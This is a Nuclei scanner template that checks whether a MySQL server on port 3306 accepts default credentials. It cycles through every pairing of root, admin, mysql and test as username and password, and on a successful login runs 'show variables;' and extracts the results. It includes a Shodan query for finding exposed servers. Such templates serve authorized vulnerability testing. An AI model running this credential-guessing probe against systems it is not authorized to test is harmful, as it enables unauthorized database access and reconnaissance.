mysql-show-variables: MySQL - Show Variables

id: mysql-show-variables

info:
  name: MySQL - Show Variables
  author: DhiyaneshDk
  severity: high
  description: Attempts to show all variables on a MySQL server.
  reference:
    - https://nmap.org/nsedoc/scripts/mysql-variables.html
  metadata:
    max-request: 16
    shodan-query: "port:3306"
  tags: js,mysql,network,enum,discovery

javascript:
  - pre-condition: |
      isPortOpen(Host,Port);
    code: |
      let m = require('nuclei/mysql');
      let c = m.MySQLClient();
      let response = c.ExecuteQuery(Host,Port,User,Pass,Query);
      Export(response);

    args:
      Host: "{{Host}}"
      Port: "3306"
      User: "{{usernames}}"
      Pass: "{{passwords}}"
      Query: "show variables;"

    payloads:
      usernames:
        - root
        - admin
        - mysql
        - test
      passwords:
        - root
        - admin
        - mysql
        - test
    attack: clusterbomb

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - "success == true"

    extractors:
      - type: json
        part: response
        json:
          - '.Rows[].Variable_name'
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